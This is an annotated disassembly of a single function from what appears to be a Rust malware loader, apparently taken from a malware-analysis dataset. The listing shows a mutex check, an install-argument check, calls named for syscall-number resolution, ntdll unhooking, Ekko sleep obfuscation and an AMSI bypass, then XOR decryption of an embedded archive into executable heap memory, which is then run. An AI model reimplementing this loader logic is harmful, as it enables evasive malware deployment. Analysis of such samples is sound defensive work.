Function at 0x180003300
Capabilities:
Check mutex on windows
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x270
lea rdx, [0x1800c82a0]
lea rcx, [rsp + 0x190]
mov r8d, 5
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::h35ff5c462c0ae14b
movabs r14, 0x8000000000000000
cmp qword [rsp + 0x190], r14
jne 0x180003afa
mov rsi, qword [rsp + 0x198]
mov rdi, qword [rsp + 0x1a0]
xor ecx, ecx
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_CreateMutexA
call sub.kernel32.dll_GetLastError
mov ebx, 1
cmp eax, 0xb7
je 0x180003694
lea rcx, [rsp + 0x250]
call sym.std::env::args::ha78b0ed599fb452d
lea rcx, [rsp + 0x48]
lea rdx, [rsp + 0x250]
call sym._ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17h0378f635c9
mov rbx, qword [rsp + 0x50]
mov r15, qword [rsp + 0x58]
test r15, r15
je 0x180003672
lea rax, [r15*8]
lea rax, [rax + rax*2]
xor ecx, ecx
movabs rdx, 0x4154534e493a692f
jmp 0x1800033dd
add rcx, 0x18
cmp rax, rcx
je 0x180003640
cmp qword [rbx + rcx + 0x10], 0xa
jne 0x1800033d0
mov r8, qword [rbx + rcx + 8]
mov r9, qword [r8]
xor r9, rdx
movzx r8d, word [r8 + 8]
xor r8, 0x4c4c
or r8, r9
jne 0x1800033d0
call sym.secondstage::ssn_solving::setup_ssn_solving::h2d8cbcc002f1802e
call sym.secondstage::dll_care::unhook_ntdll::h6da26436a945771d
mov ecx, 0x7d0
call sym.secondstage::ekko_common::ekko::h3449b116acc90f37
lea rcx, [rsp + 0x60]
call sym.secondstage::amsi_care::setup_bypass::hef5fb68c93cf4fa9
mov rdx, qword [rsp + 0x60]
cmp rdx, r14
je 0x18000343e
test rdx, rdx
je 0x18000343e
mov rcx, qword [rsp + 0x68]
mov r8d, 1
call sym.__rust_dealloc
lea rcx, [rsp + 0x60]
call sym.std::env::temp_dir::h148f648df7aea778
lea rcx, [rsp + 0x60]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h30fe6b7321b7e128
mov r8, rdx
mov qword [rsp + 0x20], 0x14
lea r9, str.second_data_temp.zip
lea rcx, [rsp + 0x170]
mov rdx, rax
call sym.std::path::Path::_join::hb96b5b808166ac2a
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x18000348f
mov rcx, qword [rsp + 0x68]
mov r8d, 1
call sym.__rust_dealloc
lea rcx, [rsp + 0x170]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h30fe6b7321b7e128
lea r8, [0x1800c82c8]
mov r9d, 0x59734
mov rcx, rax
call sym.std::fs::write::inner::h32c2f445916888cf
test rax, rax
jne 0x180003b3f
mov dword [rsp + 0x60], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov dword [rsp + 0x78], 7
mov qword [rsp + 0x7c], 0
mov word [rsp + 0x84], 0
mov byte [rsp + 0x80], 1
lea rcx, [rsp + 0x170]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h30fe6b7321b7e128
mov r8, rdx
lea rcx, [rsp + 0x60]
mov rdx, rax
call sym.std::fs::OpenOptions::_open::h92133db32b6abe7c
test rax, rax
jne 0x180003b6d
lea rcx, [rsp + 0x60]
call sym.zip::read::ZipArchive_R_::new::h73ecd77c2ebd6103
cmp qword [rsp + 0x60], r14
je 0x180003b9b
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x160], xmm0
movdqu xmm0, xmmword [rsp + 0x60]
movups xmm1, xmmword [rsp + 0x70]
movups xmm2, xmmword [rsp + 0x80]
movups xmm3, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x150], xmm3
movaps xmmword [rsp + 0x140], xmm2
movaps xmmword [rsp + 0x130], xmm1
movdqa xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
cmp qword [rsp + 0x130], 0
je 0x180003be3
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x120]
xor r8d, r8d
call sym.zip::read::ZipArchive_R_::by_index::h1544313eb51f0eb0
cmp dword [rsp + 0x60], 3
je 0x180003c21
lea rbx, [rsp + 0x190]
lea rdx, [rsp + 0x60]
mov r8d, 0xb8
mov rcx, rbx
call fcn.1800a9668
lea rdx, [rsp + 0x30]
mov rcx, rbx
xor r8d, r8d
call sym.std::io::default_read_to_end::hdaac8ba8a2fc04d2
test rax, rax
jne 0x180003c66
mov rax, qword [rsp + 0x190]
test rax, rax
je 0x180003707
cmp eax, 1
jne 0x1800036c2
mov rdx, qword [rsp + 0x1b8]
test rdx, rdx
je 0x18000362e
mov rcx, qword [rsp + 0x1b0]
mov r8d, 1
call sym.__rust_dealloc
lea rcx, [rsp + 0x1d0]
call sym.__flate2::mem::DirDecompress_as_flate2::mem::Direction_::destroy::h03bb544e7760d5b9
jmp 0x180003707
test r15, r15
je 0x180003672
lea r14, [rbx + 8]
jmp 0x180003659
add r14, 0x18
dec r15
je 0x180003672
mov rdx, qword [r14 - 8]
test rdx, rdx
je 0x180003650
mov rcx, qword [r14]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x180003650
mov rax, qword [rsp + 0x48]
test rax, rax
je 0x180003692
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
mov rcx, rbx
call sym.__rust_dealloc
xor ebx, ebx
mov byte [rsi], 0
test rdi, rdi
je 0x1800036ad
mov r8d, 1
mov rcx, rsi
mov rdx, rdi
call sym.__rust_dealloc
mov eax, ebx
add rsp, 0x270
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rdx, qword [rsp + 0x1a0]
test rdx, rdx
je 0x1800036e2
mov rcx, qword [rsp + 0x198]
mov r8d, 1
call sym.__rust_dealloc
mov rcx, qword [rsp + 0x1d8]
call sym.__bzip2::mem::DirDecompress_as_bzip2::mem::Direction_::destroy::hdd6d5d350319c3bb
mov rcx, qword [rsp + 0x1d8]
mov edx, 0x50
mov r8d, 8
call sym.__rust_dealloc
lea rcx, [rsp + 0x170]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h30fe6b7321b7e128
mov rcx, rax
call sym.std::sys::pal::windows::fs::unlink::hb1dd3f6aae384c7b
test rax, rax
jne 0x180003c91
mov rbx, qword [rsp + 0x40]
test rbx, rbx
je 0x1800037e0
js 0x180003cbc
mov r12, qword [rsp + 0x38]
mov rax, qword [0x18014b048]
movzx eax, byte [rax]
mov r15d, 1
mov edx, 1
mov rcx, rbx
call sym.__rust_alloc
test rax, rax
je 0x180003cbf
mov r14, rax
lea rax, [rbx - 0x21]
cmp rax, 0xffffffffffffffe7
jae 0x180003a58
xor eax, eax
mov rcx, rax
or rcx, 1
test bl, 1
je 0x18000379f
mov edx, eax
and edx, 0x18
lea r8, [0x1801219fc]
movzx edx, byte [rdx + r8]
xor dl, byte [r12 + rax]
mov byte [r14 + rax], dl
mov rax, rcx
cmp rbx, rcx
je 0x1800037e6
lea rcx, [0x1801219fc]
nop dword [rax + rax]
mov edx, eax
and edx, 0x1f
movzx edx, byte [rdx + rcx]
xor dl, byte [r12 + rax]
mov byte [r14 + rax], dl
lea edx, [rax + 1]
and edx, 0x1f
movzx edx, byte [rdx + rcx]
xor dl, byte [r12 + rax + 1]
mov byte [r14 + rax + 1], dl
add rax, 2
cmp rbx, rax
jne 0x1800037b0
jmp 0x1800037e6
mov r14d, 1
mov ecx, 0x40000
xor edx, edx
xor r8d, r8d
call sub.kernel32.dll_HeapCreate
mov rcx, rax
mov edx, 8
mov r8, rbx
call fcn.1800a8c1c
mov r15, rax
call sub.kernel32.dll_GetLastError
test eax, eax
jne 0x180003822
mov rcx, r15
mov rdx, r14
mov r8, rbx
call sub.msvcrt.dll_memmove
call r15
test rbx, rbx
je 0x180003838
mov r8d, 1
mov rcx, r14
mov rdx, rbx
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x180003852
mov rcx, qword [rsp + 0x38]
mov r8d, 1
call sym.__rust_dealloc
mov rcx, qword [rsp + 0x168]
call fcn.1800a8a3c
mov rbx, qword [rsp + 0x130]
test rbx, rbx
je 0x1800038bd
mov r14, qword [rsp + 0x128]
add r14, 0x20
jmp 0x18000388c
add r14, 0x90
dec rbx
je 0x1800038bd
mov rdx, qword [r14 - 0x20]
test rdx, rdx
je 0x1800038a4
mov rcx, qword [r14 - 0x18]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [r14 - 8]
test rdx, rdx
je 0x180003880
mov rcx, qword [r14]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x180003880
mov rax, qword [rsp + 0x120]
test rax, rax
je 0x1800038e5
mov rcx, qword [rsp + 0x128]
shl rax, 4
lea rdx, [rax + rax*8]
mov r8d, 8
call sym.__rust_dealloc
mov rbx, qword [rsp + 0x140]
test rbx, rbx
je 0x1800039c7
mov r14, qword [rsp + 0x150]
test r14, r14
je 0x18000399a
mov r15, qword [rsp + 0x138]
movdqa xmm0, xmmword [r15]
pmovmskb r13d, xmm0
not r13d
lea r12, [r15 + 0x10]
jmp 0x180003942
dec r14
lea eax, [r13 - 1]
and eax, r13d
mov r13d, eax
test r14, r14
je 0x18000399a
test r13w, r13w
jne 0x180003972
nop dword [rax + rax]
movdqa xmm0, xmmword [r12]
pmovmskb r13d, xmm0
add r15, 0xfffffffffffffe00
add r12, 0x10
cmp r13d, 0xffff
je 0x180003950
not r13d
tzcnt ecx, r13d
shl ecx, 5
mov rax, r15
sub rax, rcx
mov rdx, qword [rax - 0x20]
test rdx, rdx
je 0x180003930
mov rcx, qword [rax - 0x18]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x180003930
mov rax, rbx
shl rax, 5
add rbx, rax
add rbx, 0x31
je 0x1800039c7
mov rcx, qword [rsp + 0x138]
sub rcx, rax
add rcx, 0xffffffffffffffe0
mov r8d, 0x10
mov rdx, rbx
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x170]
test rdx, rdx
je 0x1800039e7
mov rcx, qword [rsp + 0x178]
mov r8d, 1
call sym.__rust_dealloc
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
test r14, r14
je 0x180003a22
lea r15, [rbx + 8]
jmp 0x180003a09
add r15, 0x18
dec r14
je 0x180003a22
mov rdx, qword [r15 - 8]
test rdx, rdx
je 0x180003a00
mov rcx, qword [r15]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x180003a00
mov rax, qword [rsp + 0x48]
test rax, rax
je 0x180003a42
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
mov rcx, rbx
call sym.__rust_dealloc
mov byte [rsi], 0
mov ebx, 1
test rdi, rdi
jne 0x18000369c
jmp 0x1800036ad
mov rcx, r14
sub rcx, r12
xor eax, eax
cmp rcx, 0x20
jb 0x180003777
lea rcx, [0x1801219fc]
mov rdx, r14
sub rdx, rcx
cmp rdx, 0x20
jb 0x180003777
cmp rbx, 0x20
jae 0x180003a8b
xor eax, eax
jmp 0x180003ac7
mov eax, ebx
movdqu xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
pxor xmm0, xmmword [0x1800c8160]
xorps xmm1, xmmword [0x1800c8170]
and eax, 0x20
movdqu xmmword [r14], xmm0
movups xmmword [r14 + 0x10], xmm1
cmp rbx, rax
je 0x1800037e6
test bl, 0x18
je 0x180003777
mov rdx, rax
mov eax, ebx
and eax, 0x38
nop
mov r8d, edx
and r8d, 0x18
mov r8, qword [r8 + rcx]
xor r8, qword [r12 + rdx]
mov qword [r14 + rdx], r8
add rdx, 8
cmp rax, rdx
jne 0x180003ad0
cmp rbx, rax
jne 0x180003777
jmp 0x1800037e6
movdqu xmm0, xmmword [rsp + 0x190]
movups xmm1, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0x70], xmm1
movdqa xmmword [rsp + 0x60], xmm0
lea rax, [0x1800c82b0]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_alloc::ffi::c_str::NulError_::h56b12473cf24f6e7
lea r8, [rsp + 0x60]
mov ecx, 1
xor edx, edx
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x180003cca
mov qword [rsp + 0x60], rax
lea rax, [0x180121a30]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h99db7229aba9eef5
lea r8, [rsp + 0x60]
mov ecx, 1
xor edx, edx
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x180003cca
mov qword [rsp + 0x60], rdx
lea rax, [0x180121a48]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h99db7229aba9eef5
lea r8, [rsp + 0x60]
mov ecx, 1
xor edx, edx
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x180003cca
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x1a0], rax
movdqu xmm0, xmmword [rsp + 0x68]
movdqa xmmword [rsp + 0x190], xmm0
lea rax, [0x180121a60]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_zip::result::ZipError_::hc2ce84c7bbe6a33a
lea r8, [rsp + 0x190]
mov ecx, 1
xor edx, edx
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x180003cca
lea rax, str.archive_is_emptyx
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x70], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x78], xmm0
lea rdx, [0x180121a98]
lea rcx, [rsp + 0x60]
call sym.core::panicking::panic_fmt::h50bba86df16ca19f
jmp 0x180003cca
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x1a0], rax
movdqu xmm0, xmmword [rsp + 0x68]
movdqa xmmword [rsp + 0x190], xmm0
lea rax, [0x180121ab0]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_zip::result::ZipError_::hc2ce84c7bbe6a33a
lea r8, [rsp + 0x190]
mov ecx, 1
xor edx, edx
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x180003cca
mov qword [rsp + 0x60], rdx
lea rax, [0x180121ac8]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h99db7229aba9eef5
lea r8, [rsp + 0x60]
mov ecx, 1
xor edx, edx
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x180003cca
mov qword [rsp + 0x60], rax
lea rax, [0x180121ae0]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h99db7229aba9eef5
lea r8, [rsp + 0x60]
mov ecx, 1
xor edx, edx
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x180003cca
xor r15d, r15d
mov rcx, r15
mov rdx, rbx
call sym.alloc::raw_vec::handle_error::hd43ffb3afada7951
ud2